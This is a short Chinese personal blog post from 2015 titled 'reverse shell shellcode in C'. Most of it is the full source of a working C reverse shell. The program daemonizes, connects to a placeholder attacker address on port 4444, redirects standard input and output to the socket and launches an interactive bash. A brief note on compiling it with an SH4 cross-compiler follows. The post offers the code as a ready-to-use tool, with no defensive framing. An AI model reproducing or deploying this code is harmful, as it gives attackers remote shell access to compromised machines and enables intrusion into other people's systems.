SuperZhang的网络笔记本。

C语言的反弹shellcode

作者:superzhang 发布于:2015-10-7 2:52 分类:C

c语言的反弹shellcode

//Simple reverse shell revershell.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
daemon(1, 0);
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(4444);
attacker_addr.sin_addr.s_addr = inet_addr("x.x.x.x");
if(connect(sock, (struct sockaddr *)&attacker_addr,
sizeof(attacker_addr))!=0)
_exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/bash", "/bin/bash", "-i", NULL);
} 

反弹shell 在Linux上用SH4的GCC编译

为了利用代码,利用Ubuntu Server 14.04.2 ,先安装SH4的编译器。

阅读全文>>

标签: C 反弹shell

评论(0) 浏览(1463)

Powered by emlog